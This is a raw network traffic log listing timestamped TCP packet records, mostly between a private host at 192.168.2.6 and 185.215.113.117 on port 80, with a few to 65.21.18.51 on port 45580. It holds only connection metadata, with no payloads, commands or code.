Sep 27, 2024 16:18:20.726200104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726200104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726224899 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726231098 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726231098 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726231098 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726243019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726243973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726257086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726265907 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726279020 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726291895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726305008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726315975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726315975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726329088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726342916 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726352930 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726352930 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726378918 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726378918 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726763964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726778984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726792097 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726800919 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726814985 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726836920 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726836920 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726921082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726934910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726948023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726959944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726959944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726973057 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726984978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727001905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727010012 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727024078 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727031946 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727031946 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727051020 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727065086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727072001 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727082968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727102041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727108955 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727108955 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727124929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727134943 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727134943 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727149963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727166891 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727174997 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727180958 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727194071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727201939 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727313995 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727921009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727936029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727948904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727957964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727971077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727984905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.727993011 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.727993011 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.728008986 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:20.728023052 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:20.728033066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.728033066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.728046894 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:20.728060007 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:20.728074074 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:20.728071928 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:20.728087902 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:20.728101969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728108883 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:20.728121996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728132963 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:20.728136063 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728149891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.728159904 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728173018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728187084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728195906 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.728195906 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.728209019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728223085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728236914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728260994 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.728260994 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.728272915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.728883028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728898048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728910923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728924036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728935003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.728946924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728961945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728971004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.728971004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.728985071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.728997946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729007006 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729007006 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729021072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729036093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729044914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729044914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729062080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729068995 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729080915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729098082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729104996 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729105949 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729120016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729130983 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729130983 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729144096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729156971 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729173899 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729182005 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729182005 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729195118 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729206085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729221106 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729238033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729245901 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729245901 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729274035 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729274035 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729836941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729851961 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729872942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729887962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729898930 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729898930 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729912043 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729922056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729934931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729948044 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729965925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729973078 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.729989052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.729995966 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730009079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730017900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730030060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730037928 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730050087 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730058908 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730070114 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730087042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730093956 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730093956 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730104923 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730117083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730129957 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730139017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730153084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730165958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730174065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730175018 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730189085 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730254889 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730504036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730519056 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730539083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730552912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730571032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730571032 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730585098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730602026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730608940 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730609894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730637074 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730637074 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730665922 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730680943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730695009 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730705023 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730717897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730731964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730731964 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730742931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730762959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730781078 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730787992 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730787992 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730798960 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730811119 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730819941 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730832100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730842113 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730854988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730864048 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730875969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730890036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730899096 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730916023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730922937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730922937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730937958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730956078 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.730967045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.730983019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731003046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.731003046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.731024027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.731523037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731544971 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731559992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731573105 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.731583118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731595993 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731607914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.731607914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.731620073 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731633902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731647968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731653929 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.731653929 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.731667995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731688023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731703043 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.731709957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731723070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731738091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.731738091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.731750011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.731786966 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.731805086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732148886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732163906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732182026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732196093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732208014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732208014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732220888 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732229948 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732250929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732270002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732275963 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732287884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732297897 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732314110 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:20.732321024 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732321024 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732337952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732348919 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:20.732352018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732369900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732379913 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732393026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732405901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732418060 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732418060 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732433081 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732448101 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732448101 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732458115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732470989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732481003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732497931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732503891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732516050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732527018 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732538939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732547998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732547998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732563019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732572079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732584000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732598066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732608080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.732640982 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.732640982 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733094931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733109951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733124018 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733139038 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733153105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733161926 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733161926 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733192921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733198881 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733211994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733226061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733242989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733249903 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733249903 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733264923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733278036 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733289003 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733305931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733313084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733325005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733335018 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733335018 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733354092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:20.733366966 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733383894 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733390093 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733402967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733414888 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733414888 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733427048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733442068 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733454943 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733455896 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733465910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733475924 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733489037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733501911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.733515024 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733539104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.733539104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734026909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734040976 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734055996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734070063 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734080076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734080076 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734100103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734111071 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734123945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734138012 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734148026 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734162092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734175920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734184027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734184027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.734199047 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.734215975 CEST	49615	80	192.168.2.6	185.215.113.117
